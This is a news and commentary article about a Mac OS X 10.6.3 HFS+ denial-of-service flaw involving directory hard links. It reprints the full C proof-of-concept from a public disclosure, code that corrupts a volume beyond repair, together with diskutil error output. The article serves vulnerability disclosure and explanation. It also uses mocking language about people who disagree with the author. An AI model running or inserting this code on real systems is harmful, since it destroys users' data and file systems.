Home » Industry Watch
Apple File System Denial of ServiceAll the king's horses and all the king's men couldn't put HFS together again.
Apple's file system HFS, used in their computer OS and their mobile devices, contains a fatal flaw that can render a file system unusable and unrecoverable. The discovery was submitted to the Full Disclosure mailing list on 23 April along with POC code.
The vulnerability is known to affect Snow Leopard 10.6.3. Any iteration of HFS with the same 'Apple features' is likely to be affected as well.
HFS & Hard Links
HFS is known to have difficulty with Unix hard links. The implementation, dating back some time now, is known to not be perfect (but as good as it gets). HFS has serious compatibility issues with Unix file system architecture as pointed out at this site on numerous occasions.
Hard links are a cornerstone of Unix. They're simply alternative paths for the same physical file on the same volume. A great number of standard Unix utilities found on OS X systems are hard-linked and function only because they're hard-linked.
The listing below comes from 10.6.3's /usr/bin. The third column is the number of links. There are files in /usr/bin with 15, 24, and 37 links each. Hard links are a cornerstone of Unix.
131078 -rwxr-xr-x 5 root wheel - 925 Jul 8 2009 2to3
3097729 -rwxr-xr-x 2 root wheel - 30797 May 18 2009 aclocal
3097729 -rwxr-xr-x 2 root wheel - 30797 May 18 2009 aclocal-1.10
135381 -r-xr-xr-x 15 root wheel - 190 May 18 2009 alias
2724933 -r-xr-xr-x 2 root wheel - 89072 Feb 11 07:57 arch
2724934 -r-sr-xr-x 4 root wheel - 110720 Feb 11 07:58 at
2724934 -r-sr-xr-x 4 root wheel - 110720 Feb 11 07:58 atq
2724934 -r-sr-xr-x 4 root wheel - 110720 Feb 11 07:58 atrm
3097732 -rwxr-xr-x 2 root wheel - 232943 May 18 2009 automake
3097732 -rwxr-xr-x 2 root wheel - 232943 May 18 2009 automake-1.10
2724934 -r-sr-xr-x 4 root wheel - 110720 Feb 11 07:58 batch
135381 -r-xr-xr-x 15 root wheel - 190 May 18 2009 bg
2724944 -rwxr-xr-x 3 root wheel - 121968 Feb 11 06:10 bunzip2
2724944 -rwxr-xr-x 3 root wheel - 121968 Feb 11 06:10 bzcat
2724944 -rwxr-xr-x 3 root wheel - 121968 Feb 11 06:10 bzip2
121796 -rwxr-xr-x 37 root wheel - 807 Jun 24 2009 c2ph
119982 -r-xr-xr-x 2 root wheel - 60944 May 18 2009 cal
135381 -r-xr-xr-x 15 root wheel - 190 May 18 2009 cd
2724953 -r-sr-xr-x 3 root wheel - 100000 Feb 11 07:59 chfn
2724953 -r-sr-xr-x 3 root wheel - 100000 Feb 11 07:59 chpass
2724953 -r-sr-xr-x 3 root wheel - 100000 Feb 11 07:59 chsh
135381 -r-xr-xr-x 15 root wheel - 190 May 18 2009 command
117579 -r-xr-xr-x 2 root wheel - 52352 Jul 14 2009 compress
121796 -rwxr-xr-x 37 root wheel - 807 Jun 24 2009 config_data
121796 -rwxr-xr-x 37 root wheel - 807 Jun 24 2009 corelist
121796 -rwxr-xr-x 37 root wheel - 807 Jun 24 2009 cpan
121796 -rwxr-xr-x 37 root wheel - 807 Jun 24 2009 cpan2dist
121796 -rwxr-xr-x 37 root wheel - 807 Jun 24 2009 cpanp
121796 -rwxr-xr-x 37 root wheel - 807 Jun 24 2009 cpanp-run-perl
102562 -rwxr-xr-x 24 root wheel - 807 May 19 2009 crc32
102562 -rwxr-xr-x 24 root wheel - 807 May 19 2009 dbilogstrip
102562 -rwxr-xr-x 24 root wheel - 807 May 19 2009 dbiprof
102562 -rwxr-xr-x 24 root wheel - 807 May 19 2009 dbiproxy
121796 -rwxr-xr-x 37 root wheel - 807 Jun 24 2009 dprofpp
135137 -rwxr-xr-x 2 root wheel - 925 Jul 1 2009 easy_install
2724969 -rwxr-xr-x 2 root wheel - 227488 Feb 11 06:54 egrep
121796 -rwxr-xr-x 37 root wheel - 807 Jun 24 2009 enc2xs
135381 -r-xr-xr-x 15 root wheel - 190 May 18 2009 fc
135381 -r-xr-xr-x 15 root wheel - 190 May 18 2009 fg
2724969 -rwxr-xr-x 2 root wheel - 227488 Feb 11 06:54 fgrep
121796 -rwxr-xr-x 37 root wheel - 807 Jun 24 2009 find2perl
135381 -r-xr-xr-x 15 root wheel - 190 May 18 2009 getopts
102562 -rwxr-xr-x 24 root wheel - 807 May 19 2009 gluedialect
102562 -rwxr-xr-x 24 root wheel - 807 May 19 2009 gluedoc
102562 -rwxr-xr-x 24 root wheel - 807 May 19 2009 glueedit
102562 -rwxr-xr-x 24 root wheel - 807 May 19 2009 gluemac
102562 -rwxr-xr-x 24 root wheel - 807 May 19 2009 gluescriptadds
3098128 -rwxr-xr-x 2 root wheel - 287296 May 18 2009 gm4
98174 -r-xr-xr-x 3 root wheel - 63632 May 18 2009 groups
117677 -rwxr-xr-x 2 root wheel - 142880 Jul 14 2009 gzip
121796 -rwxr-xr-x 37 root wheel - 807 Jun 24 2009 h2ph
121796 -rwxr-xr-x 37 root wheel - 807 Jun 24 2009 h2xs
135381 -r-xr-xr-x 15 root wheel - 190 May 18 2009 hash
2724981 -r-xr-xr-x 2 root wheel - 101392 Feb 11 06:47 hexdump
98174 -r-xr-xr-x 3 root wheel - 63632 May 18 2009 id
131078 -rwxr-xr-x 5 root wheel - 925 Jul 8 2009 idle
121796 -rwxr-xr-x 37 root wheel - 807 Jun 24 2009 instmodsh
102562 -rwxr-xr-x 24 root wheel - 807 May 19 2009 ipcount
102562 -rwxr-xr-x 24 root wheel - 807 May 19 2009 iptab
135381 -r-xr-xr-x 15 root wheel - 190 May 18 2009 jobs
2724995 -rwxr-xr-x 2 root wheel - 276496 Feb 11 06:53 less
121796 -rwxr-xr-x 37 root wheel - 807 Jun 24 2009 libnetcfg
102562 -rwxr-xr-x 24 root wheel - 807 May 19 2009 lwp-download
102562 -rwxr-xr-x 24 root wheel - 807 May 19 2009 lwp-mirror
102562 -rwxr-xr-x 24 root wheel - 807 May 19 2009 lwp-request
102562 -rwxr-xr-x 24 root wheel - 807 May 19 2009 lwp-rget
3098128 -rwxr-xr-x 2 root wheel - 287296 May 18 2009 m4
102562 -rwxr-xr-x 24 root wheel - 807 May 19 2009 macerror
2724933 -r-xr-xr-x 2 root wheel - 89072 Feb 11 07:57 machine
119956 -r-xr-xr-x 2 root wheel - 271440 May 18 2009 mail
119956 -r-xr-xr-x 2 root wheel - 271440 May 18 2009 mailx
82134 -r-xr-xr-x 2 root wheel - 110352 May 18 2009 man
2724995 -rwxr-xr-x 2 root wheel - 276496 Feb 11 06:53 more
119982 -r-xr-xr-x 2 root wheel - 60944 May 18 2009 ncal
121796 -rwxr-xr-x 37 root wheel - 807 Jun 24 2009 perlbug
121796 -rwxr-xr-x 37 root wheel - 807 Jun 24 2009 perlcc
121796 -rwxr-xr-x 37 root wheel - 807 Jun 24 2009 perldoc
121796 -rwxr-xr-x 37 root wheel - 807 Jun 24 2009 perlivp
121796 -rwxr-xr-x 37 root wheel - 807 Jun 24 2009 perlthanks
121796 -rwxr-xr-x 37 root wheel - 807 Jun 24 2009 piconv
121796 -rwxr-xr-x 37 root wheel - 807 Jun 24 2009 pl2pm
121796 -rwxr-xr-x 37 root wheel - 807 Jun 24 2009 pod2html
121796 -rwxr-xr-x 37 root wheel - 807 Jun 24 2009 pod2latex
121796 -rwxr-xr-x 37 root wheel - 807 Jun 24 2009 pod2man
102562 -rwxr-xr-x 24 root wheel - 807 May 19 2009 pod2readme
121796 -rwxr-xr-x 37 root wheel - 807 Jun 24 2009 pod2text
121796 -rwxr-xr-x 37 root wheel - 807 Jun 24 2009 pod2usage
121796 -rwxr-xr-x 37 root wheel - 807 Jun 24 2009 podchecker
121796 -rwxr-xr-x 37 root wheel - 807 Jun 24 2009 podselect
121796 -rwxr-xr-x 37 root wheel - 807 Jun 24 2009 prove
121796 -rwxr-xr-x 37 root wheel - 807 Jun 24 2009 psed
121796 -rwxr-xr-x 37 root wheel - 807 Jun 24 2009 pstruct
121796 -rwxr-xr-x 37 root wheel - 807 Jun 24 2009 ptar
121796 -rwxr-xr-x 37 root wheel - 807 Jun 24 2009 ptardiff
131078 -rwxr-xr-x 5 root wheel - 925 Jul 8 2009 pydoc
2725053 -rwxr-xr-x 2 root wheel - 86000 Feb 11 09:58 python
131078 -rwxr-xr-x 5 root wheel - 925 Jul 8 2009 python-config
2725053 -rwxr-xr-x 2 root wheel - 86000 Feb 11 09:58 pythonw
135381 -r-xr-xr-x 15 root wheel - 190 May 18 2009 read
121796 -rwxr-xr-x 37 root wheel - 807 Jun 24 2009 s2p
121796 -rwxr-xr-x 37 root wheel - 807 Jun 24 2009 shasum
102562 -rwxr-xr-x 24 root wheel - 807 May 19 2009 spfd
102562 -rwxr-xr-x 24 root wheel - 807 May 19 2009 spfquery
121796 -rwxr-xr-x 37 root wheel - 807 Jun 24 2009 splain
135381 -r-xr-xr-x 15 root wheel - 190 May 18 2009 type
135381 -r-xr-xr-x 15 root wheel - 190 May 18 2009 ulimit
135381 -r-xr-xr-x 15 root wheel - 190 May 18 2009 umask
135381 -r-xr-xr-x 15 root wheel - 190 May 18 2009 unalias
117579 -r-xr-xr-x 2 root wheel - 52352 Jul 14 2009 uncompress
141487 -rwxr-xr-x 2 root wheel - 265392 May 18 2009 unzip
135414 -r-xr-xr-x 2 root wheel - 64176 May 18 2009 uptime
135414 -r-xr-xr-x 2 root wheel - 64176 May 18 2009 w
135381 -r-xr-xr-x 15 root wheel - 190 May 18 2009 wait
98174 -r-xr-xr-x 3 root wheel - 63632 May 18 2009 whoami
102562 -rwxr-xr-x 24 root wheel - 807 May 19 2009 wxperl_demo.pl
102562 -rwxr-xr-x 24 root wheel - 807 May 19 2009 wxperl_overload
102562 -rwxr-xr-x 24 root wheel - 807 May 19 2009 wxperl_xspp
135137 -rwxr-xr-x 2 root wheel - 925 Jul 1 2009 xattr
82134 -r-xr-xr-x 2 root wheel - 110352 May 18 2009 xcman
3099410 -rwxr-xr-x 2 root wheel - 63728 Jul 11 2009 xcodebuild
3099410 -rwxr-xr-x 2 root wheel - 63728 Jul 11 2009 xcrun
102562 -rwxr-xr-x 24 root wheel - 807 May 19 2009 xgettext.pl
102562 -rwxr-xr-x 24 root wheel - 807 May 19 2009 xpath
121796 -rwxr-xr-x 37 root wheel - 807 Jun 24 2009 xsubpp
117677 -rwxr-xr-x 2 root wheel - 142880 Jul 14 2009 zcat
141487 -rwxr-xr-x 2 root wheel - 265392 May 18 2009 zipinfo
But hard links apply only to files. They don't apply to directories. And for several good reasons, the most important of which is they don't make sense. Other relatively minor reasons include the prospect of accidentally hosing an entire file system (and yes this makes your Mac very unhappy).
Things changed with the introduction of Apple's Time Machine however. Although the basic idea of Time Machine can be realised without risking disaster, Apple chose to not play it careful. Time Machine uses hard links on files to save archiving the same thing over and over again. Storage for repeated directories would not have been cost-prohibitive.
[There have been claims by the extremely psychotic that Apple deliberately chose a flawed design of hard links because their crystal balls hinted they'd create a product called Time Machine fifteen years later. These mentally ill individuals will also tell you most Unix utilities can't handle hard links even after over thirty years of use, so it's not so bad Apple screw up too. Beware their Apple-flavoured Kool-Aid™.]
Users cannot create hard links to directories from the command line but lo and behold they can from the 'Unix' API. Note that the 'man page' supplied by Apple still insists hard links to directories are not allowed. But guess what? That's where the denial of service exploit comes in.
LINK(2) BSD System Calls Manual LINK(2)
NAME
link -- make a hard file link
SYNOPSIS
#include <unistd.h>
int
link(const char *path1, const char *path2);
DESCRIPTION
The link() function call atomically creates the specified directory entry
(hard link) path2 with the attributes of the underlying object pointed at
by path1. If the link is successful, the link count of the underlying
object is incremented; path1 and path2 share equal access and rights to
the underlying object.
If path1 is removed, the file path2 is not deleted and the link count of
the underlying object is decremented.
In order for the system call to succeed, path1 must exist and both path1
and path2 must be in the same file system. As mandated by POSIX.1, path1
may not be a directory.
link() will resolve and follow symbolic links contained within both path1
and path2. If the last component of path1 is a symbolic link, link()
will point the hard link, path2, to the underlying object pointed to by
path1, not to the symbolic link itself.
STANDARDS
The link() function is expected to conform to IEEE Std 1003.1-1988
(``POSIX.1'').
4th Berkeley Distribution October 29, 2008 4th Berkeley Distribution
The effect of the hack appears when attempting to check a disk with fsck. The damage cannot be repaired: diskutil, fsck_hfs, and similar utilities are helpless. The system is hosed. Reformatting is the only option.
$ diskutil verifyVolume
Started filesystem verification
Performing live verification
Checking Journaled HFS Plus volume
Checking extents overflow file
Checking catalog file
Checking multi-linked files
Checking catalog hierarchy
Checking extended attributes file
Checking multi-linked directories
Maximum nesting of folders and directory hard links reached
The volume could not be verified completely
Error: -9957: Filesystem verify or repair failed
Underlying error: 8: POSIX reports: Exec format error
Proof of Concept
Following is the proof of concept code. Think twice about trying this: you really don't want to do this at home (unless you have an entire Mac to waste).
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <sys/types.h>
int comein(char *name) {
if (chdir(name)) {
printf("Can't chdir to '%s'.\n", name); exit(1);
} else
return 0;
}
int connlink(char *path1, char *path2) {
if (link(path1, path2)) {
printf("Can't create link '%s' --> '%s'.\n", path1, path2); exit(1);
} else
return 0;
}
int createdir(char *path) {
if (mkdir(path, ((S_IRWXU | S_IRWXG | S_IRWXO) & ~umask(0)) | S_IWUSR | S_IXUSR)) {
printf("Can't create directory '%s'.\n", path); exit(1);
} else
return 0;
}
int main(int argc, char *argv[]) {
FILE *fp; int level = (argc == 2)? atoi(argv[1]): 512;
createdir("C");
createdir("C/C");
connlink("C/C", "CX");
comein("C");
while (level--)
printf("Level: %d mkdir: %d chdir: %d.\n", level, createdir("C"), comein("C"));
printf("Now run 'diskutil verifyVolume /', fanboy.\n"); return 0;
}
The exploit has been assigned CVE-2010-0105 and was posted by Maksymilian Arciemowicz of Security Reason who had another bug fixed by Apple after only a nine month wait (1 July 2009 - 29 March 2010).

Apple actually designed the multi-links in HFS+ primarily to support Time Machine. File system utilities are typically unprepared to handle multi-linked files. - Daniel Eran Dilger
See Also Developers Workshop: GDE-FAQ Developers Workshop: HFS: The Good & The Bad Developers Workshop: iPhone OS System Architecture Developers Workshop: Getting Around HFS+ Private Data
Google Search: 'Maximum nesting of folders and directory hard links reached' Security Reason: MacOS X 10.6.3 File System HFS Denial of Service Vulnerability
|